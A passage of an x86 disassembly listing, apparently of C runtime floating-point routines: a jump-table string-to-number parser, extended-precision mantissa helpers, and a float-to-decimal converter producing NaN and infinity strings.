		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBE8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBE8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBE8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBE4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBE8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBE4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43CBE4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBE4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBE4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
